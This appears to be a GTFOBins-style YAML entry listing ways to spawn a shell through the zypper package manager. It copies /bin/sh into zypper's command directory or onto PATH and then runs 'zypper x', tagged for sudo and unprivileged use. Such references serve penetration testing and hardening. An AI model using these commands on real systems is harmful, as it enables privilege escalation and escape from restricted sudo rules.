Files

19 lines
370 B
Plaintext

---
functions:
shell:
- code: |-
cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x
comment: |-
The copy usually requires elevated privileges.
contexts:
sudo:
unprivileged:
- code: |-
cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x
contexts:
sudo:
unprivileged:
...